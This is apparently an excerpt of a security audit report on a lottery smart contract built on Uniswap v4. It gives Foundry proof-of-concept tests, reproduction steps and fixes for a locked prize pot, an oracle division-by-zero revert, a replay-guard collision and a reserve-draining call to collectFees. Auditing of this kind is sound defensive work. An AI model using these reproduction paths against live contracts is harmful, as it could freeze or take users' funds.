     interface ICb { function unlockCallback(bytes calldata) external returns (bytes memory); }
     
     // Minimal PoolManager stand-in: ERC-6909 native claims, unlock/callback, burn, take (native send).
     contract MockManager {
         mapping(address => uint256) public bal;
         bool unlocked;
         function balanceOf(address a, uint256) external view returns (uint256) { return bal[a]; }
         function mint(address a, uint256 x) external { bal[a] += x; }
         function unlock(bytes calldata d) external returns (bytes memory) {
             require(!unlocked, "AlreadyUnlocked");
             unlocked = true;
             bytes memory r = ICb(msg.sender).unlockCallback(d);
             unlocked = false;
             return r;
         }
         function burn(address from, uint256, uint256 x) external { bal[from] -= x; }
         function take(address, address to, uint256 x) external { (bool ok,) = to.call{value: x}(""); require(ok, "NativeTransferFailed"); }
         // ERC-6909 transfer, available on the real PoolManager, for a claims-fallback fix.
         function transfer(address to, uint256, uint256 x) external returns (bool) { bal[msg.sender] -= x; bal[to] += x; return true; }
         receive() external payable {}
     }
     
     // A beneficiary that cannot receive ETH and cannot call claimTo (e.g. an ERC-20 token contract).
     contract NoReceive {}
     
     /// Finding: a winner that rejects ETH and cannot call claimTo() locks the round's pot forever.
     /// claim() reverts in PoolManager.take, claimTo() is winner-only, and there is no expiry,
     /// sweep or roll-over of an unclaimed prize.
     contract LockedPrizeTest is Test {
         ClausBuyerLottery lot;
         MockGov gov;
         MockManager mgr;
         address adapter = address(0xA11);
     
         function setUp() public {
             vm.etch(0x180eAE784dEe739FBab432B06f78bF9a98Aae334, address(new MockGov()).code);
             vm.etch(0x000000000004444c5dc75cB358380D2e3dE08A90, address(new MockManager()).code);
             vm.etch(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, address(new MockFeed()).code);
             gov = MockGov(0x180eAE784dEe739FBab432B06f78bF9a98Aae334);
             mgr = MockManager(payable(0x000000000004444c5dc75cB358380D2e3dE08A90));
             vm.deal(address(mgr), 1000 ether);
             vm.warp(1_000_000);
             vm.roll(1000);
             lot = new ClausBuyerLottery();
             gov.set(address(lot), adapter);
         }
     
         function _buy(uint256 id, uint256 fee, address who) internal {
             bytes memory data = abi.encodePacked(bytes4(0x434c544b), who);
             ProgramTypes.Trade memory t = ProgramTypes.Trade(id, adapter, address(0xdead), true, 0, 0, 0, fee,
                 block.number, block.timestamp, keccak256(data));
             mgr.mint(address(lot), fee);
             vm.prank(adapter);
             lot.onTrade(t, data);
         }
     
         function test_nonReceivingWinnerLocksPot() public {
             address dead = address(new NoReceive());
             _buy(1, 0.3 ether, dead); // only tagged entry in round 0; pot = 0.1 ether
             vm.warp(block.timestamp + 4 hours);
             lot.closeRound();
             (, uint64 target, , , , ,) = lot.rounds(0);
             vm.roll(target + 1);
             assertEq(lot.draw(0), dead);
             assertEq(lot.prizeLiability(), 0.1 ether);
     
             // Anyone pushing the prize: on the current code the native transfer to the winner reverts
             // (NativeTransferFailed bubbles out of PoolManager.take) and the whole claim reverts.
             (bool ok, bytes memory ret) = address(lot).call(abi.encodeCall(lot.claim, (0)));
             if (!ok) emit log_named_bytes("claim(0) revert data", ret);
             // Nobody but the winner may redirect it, and the winner is a contract that cannot call.
             vm.expectRevert(ClausBuyerLottery.Unauthorized.selector);
             lot.claimTo(0, address(0xC0FFEE));
     
             // Expected: the pot is paid (e.g. claims-transfer fallback when the native send fails) or
             // otherwise leaves prizeLiability. Actual: it is owed forever and no function can move it.
             vm.warp(block.timestamp + 365 days);
             (, , , , bool claimed, ,) = lot.rounds(0);
             assertTrue(claimed || lot.prizeLiability() == 0, "pot of round 0 is locked forever");
         }
     }

     whole proof

   • lowA fresh oracle answer above 1e27 makes _ticketWei() return 0 and every tagged buy receipt revert with division by zerosrc/ClausBuyerLottery.sol:142

     _ticketWei() guards against a failing call, a non-positive answer and a stale answer, but not against a positive fresh answer large enough that TICKET_USD_8 * 1e18 / answer rounds to 0 (any answer > 1e27, i.e. a reported ETH price above 1e19 USD). The NatSpec (lines 156-157) promises the oracle never blocks delivery, but in that state line 142 divides by zero and onTrade reverts with Panic(0x12) for every receipt whose hookData carries the ticket tag until the feed recovers.

     Untagged receipts and sells still deliver. Whether a reverting onTrade blocks the swap or only the receipt depends on the adapter and host, which are outside the repository. Likelihood is low (aggregator malfunction), impact a temporary delivery denial of service for tagged buys, hence low.

     Fix: in _ticketWei() treat a computed price of 0 as a failure and return FALLBACK_TICKET_WEI, or bound the answer to a sane range before use.

     whole finding

     State: FEED.latestRoundData() returns answer = 2e27 with updatedAt = block.timestamp.

     Steps: (1) ticketWei() returns 0 (10e8 * 1e18 / 2e27 == 0).

     (2) the adapter delivers a buy receipt with moduleFeeEth = 0.0075 ether and data = 0x434c544b ++ 0xA11CE, dataHash matching.

     Expected: the receipt is delivered, using the fallback ticket size or issuing zero tickets.

     Actual: onTrade reverts with 0x4e487b71...12 (Panic: division by zero); test test_absurdFreshAnswerBlocksTaggedDelivery fails on the current code.

     Verified with forge 1.8.3.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.26;
     
     import "forge-std/Test.sol";
     import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
     import {ProgramTypes} from "src/IClausTradeProgram.sol";
     
     contract MockGov {
         mapping(address => address) public adapterFor;
         mapping(address => bool) public approvedAdapter;
         function set(address p, address a) external { adapterFor[p] = a; approvedAdapter[a] = true; }
     }
     
     // Fresh, positive, but absurdly large ETH/USD answer (> 1e27, i.e. ETH above 1e19 USD).
     contract HugeFeed {
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2e27, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract MockManager {
         function balanceOf(address, uint256) external pure returns (uint256) { return 0; }
     }
     
     /// Finding: _ticketWei() returns 0 for a fresh answer above 1e27, and _enter() then divides by
     /// zero, so every tagged buy receipt reverts although the NatSpec promises the oracle never
     /// blocks delivery.
     contract OracleZeroTest is Test {
         ClausBuyerLottery lot;
         MockGov gov;
         address adapter = address(0xA11);
     
         function setUp() public {
             vm.etch(0x180eAE784dEe739FBab432B06f78bF9a98Aae334, address(new MockGov()).code);
             vm.etch(0x000000000004444c5dc75cB358380D2e3dE08A90, address(new MockManager()).code);
             vm.etch(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, address(new HugeFeed()).code);
             gov = MockGov(0x180eAE784dEe739FBab432B06f78bF9a98Aae334);
             vm.warp(1_000_000);
             lot = new ClausBuyerLottery();
             gov.set(address(lot), adapter);
         }
     
         function test_absurdFreshAnswerBlocksTaggedDelivery() public {
             // On the current code 10e8 * 1e18 / 2e27 rounds to zero; a fixed contract returns the fallback.
             emit log_named_uint("ticketWei", lot.ticketWei());
     
             bytes memory data = abi.encodePacked(bytes4(0x434c544b), address(0xA11CE));
             ProgramTypes.Trade memory t = ProgramTypes.Trade(1, adapter, address(0xdead), true, 0, 0, 0, 0.0075 ether,
                 block.number, block.timestamp, keccak256(data));
             // Expected: delivered (fallback ticket size or zero tickets). Actual: Panic(0x12) division by zero.
             vm.prank(adapter);
             (bool ok, bytes memory ret) = address(lot).call(abi.encodeCall(lot.onTrade, (t, data)));
             if (!ok) emit log_named_bytes("revert data", ret);
             assertTrue(ok, "tagged buy receipt reverted because of the oracle answer");
         }
     }

     whole proof

   • lowReceipt replay guard is keyed by trade.id alone, so a rotated adapter whose receipt ids overlap the old adapter's is rejectedsrc/ClausBuyerLottery.sol:114

     onTrade binds each receipt to one adapter (trade.module == msg.sender) but the replay guard received[trade.id] (lines 71, 114-115) is a global mapping that ignores the module. GOVERNANCE can change adapterFor(lottery) and approvedAdapter at any time. If a replacement adapter numbers its receipts from its own counter, every id the previous adapter already delivered makes onTrade revert InvalidReceipt.

     Depending on the adapter that either blocks buys and sells routed through this program until its counter passes the old one, or, if the adapter catches the revert, leaves moduleFeeEth already credited as claims to this contract outside rounds/openPots/recipientAccrued with no function able to recover it.

     This only triggers if ids are not globally unique across adapters: the economics specialist reports that the live TradeExtensionHost assigns receipt ids from a single counter, which I could not verify from the repository, so the precondition is a governance choice and the severity is low.

     Fix: key the guard by (module, id), e.g. received[keccak256(abi.encode(trade.module, trade.id))].

     whole finding

     State: GOVERNANCE.adapterFor(lottery) = A, approvedAdapter(A) = true.

     Steps: (1) A delivers Trade{id: 1, module: A, buy: true, moduleFeeEth: 0.003 ether, data: 0x434c544b ++ 0xBEEF}: accepted, entryCount(0) == 1.

     (2) GOVERNANCE sets adapterFor(lottery) = B, approvedAdapter(B) = true.

     (3) B delivers Trade{id: 1, module: B, buy: true, moduleFeeEth: 0.003 ether, data: 0x434c544b ++ 0xCAFE}.

     Expected: accepted as a distinct receipt from a distinct module, entryCount(0) == 2.

     Actual: reverts InvalidReceipt().

     The permissions specialist's test test_receiptIdCollisionAfterAdapterRotation fails with InvalidReceipt() on the current code; re-run by me with forge 1.8.3.

     whole reproduction

   • lowAccounting trusts trade.moduleFeeEth without reconciling against received claims, so collectFees can spend the reserve that backs drawn prizessrc/ClausBuyerLottery.sol:274

     onTrade credits rounds[r].pot, openPots and recipientAccrued from the adapter-reported trade.moduleFeeEth (lines 117-125) and never checks that MANAGER.balanceOf(this, 0) grew by that amount; the contract has no receive(), so fees can only arrive as ERC-6909 claims minted by the adapter. _pay checks only the pooled reserve, not the per-bucket split, and collectFees is callable by anyone, bounded only by recipientAccrued - recipientCollected.

     So one receipt whose reported fee exceeds the claims actually delivered (adapter bug, fee split mismatch, or a governance-approved misbehaving adapter) lets anyone move prize liability owed to a drawn winner to RECIPIENT; the winner's claim then reverts InvalidCollection until further fees arrive, and prizeLiability stays raised.

     Precondition is adapter or governance misbehaviour (a trust assumption; the economics specialist reports the live adapter forwards exactly the reported fee), which is why this is low, but the task states that treasury and user claims are not delegated and a one-line local defence exists. Merged from the permissions, flow and math specialists.

     Fix: in collectFees require reserveClaims() - amount >= openPots + prizeLiability, or in onTrade require reserveClaims() >= openPots + prizeLiability + (recipientAccrued - recipientCollected) before accruing.

     whole finding

     State (mock MANAGER and GOVERNANCE etched at the constant addresses): receipt 1 is a tagged buy with moduleFeeEth = 0.3 ether and 0.3 ether of claims minted; onTrade's self-call collectFees pays RECIPIENT 0.2 ether; closeRound and draw(0) give winner 0xBEEF prizeLiability = 0.1 ether with reserveClaims() = 0.1 ether.

     Receipt 2 (id 2, sell) reports moduleFeeEth = 0.3 ether but mints no claims, so recipientAccrued rises by 0.2 ether and the in-receipt collectFees(0.2 ether) is deferred (0.2 > reserve 0.1).

     Anyone calls collectFees(0.1 ether).

     Expected: revert, because that reserve backs the drawn prize.

     Actual: succeeds (0.1 <= reserve 0.1), reserveClaims() == 0 < prizeLiability == 0.1 ether, and claim(0) reverts InvalidCollection at line 274 until new fees arrive.

     Traced through lines 125-133 and 266-274 against the code.

     whole reproduction

   • infoPrivileged roles, mutable dependencies and design trust assumptions that can change behaviour after reviewsrc/ClausBuyerLottery.sol:113

     Entry files read: src/ClausBuyerLottery.sol (289 lines, contract ClausBuyerLottery plus the three local interfaces) and its only import src/IClausTradeProgram.sol (ProgramTypes.Trade, IProgram).

     Runtime dependencies GOVERNANCE, MANAGER, FEED, the adapter and the host are not in the repository; I spot-checked mainnet (publicnode RPC): FEED 0x5f4e...8419 describes itself as 'ETH / USD' with a fresh 8-decimal answer, GOVERNANCE 0x180e...e334 and MANAGER 0x0000...8A90 have code, RECIPIENT 0x5a42...d995 has no code. The contract has no owner, upgrade path or pause.

     Roles and dependencies: (1) GOVERNANCE decides adapterFor/approvedAdapter at every call (line 113). Whoever it designates can deliver arbitrary receipts (id, buy flag, moduleFeeEth, hookData), mint itself up to MAX_TICKETS_PER_BUY tickets per receipt without any swap, or revoke the adapter and stop new deliveries.

     The economics specialist reports adapterFor/approvedAdapter are write-once on the live governance and that the operator can only install or uninstall the adapter; not verified by me. (2) The adapter is trusted for trade.buy, moduleFeeEth and for actually minting matching ERC-6909 native claims (see the accounting finding).

     (3) FEED is the Chainlink ETH/USD proxy whose aggregator Chainlink can change; it only sizes tickets and falls back to 0.004 ether per ticket when stale, non-positive or reverting, so ticket counts per dollar can drift by the ETH/USD move since the last update; a code-less or malformed-returning feed would revert onTrade (try/catch does not cover decoding), which is not the case on mainnet.

     (4) MANAGER is the immutable Uniswap v4 PoolManager custodying all funds as claims id 0. (5) RECIPIENT is a fixed EOA; if it ever gains code that rejects ETH (EIP-7702) collection is deferred, never lost.

     Design notes, not defects: untagged buys and sells fund the pot but hold no tickets (NatSpec lines 26-30), so a tagged buyer's expected prize exceeds their own contribution and a last-second tagged entry plus closeRound() in one transaction is an informed but volume-proportional entry; block-proposer withholding of the target block is disclosed (lines 31-33).

     Verified properties: quote() is pure and returns [12000,3000,1500,0,3500,3000]; receipt binding (module == msg.sender, keccak(data) == dataHash) and single delivery per id hold; no code path sends value anywhere except RECIPIENT and a drawn winner or the winner's chosen address; _pay's _paying sentinel blocks nested payouts and foreign unlockCallback callers, and the 150k-gas self-call keeps a failing collection from blocking delivery; uint96 ticket totals cannot overflow (at most 1e6 x 20,000 per round); closeRound cannot be called twice for one round; draw() cannot hit modulo-by-zero because targetBlock is only set when tickets != 0.

     Coverage limits: no Slither, no fork tests, and the adapter/host/governance source was not read.

     whole finding

     Trust assumption, not a defect.

     Example state: GOVERNANCE returns adapterFor(lottery) = X and approvedAdapter(X) = true.

     X calls onTrade(Trade{id: N, module: X, buy: true, moduleFeeEth: 2.5e18, dataHash: keccak(0x434c544b ++ X)}, 0x434c544b ++ X) and is issued 1,000,000 tickets with no swap having taken place; X also controls the pot and recipient accrual through moduleFeeEth.

7. Onchain1 receipt, 5 scoreson Ethereum mainnet

   receipt

   work accepted · transaction · record

   scores

   5 scores for reviewed on submission · all 5 passed · block 26,287,598 · transaction#460#641#1207#832#1782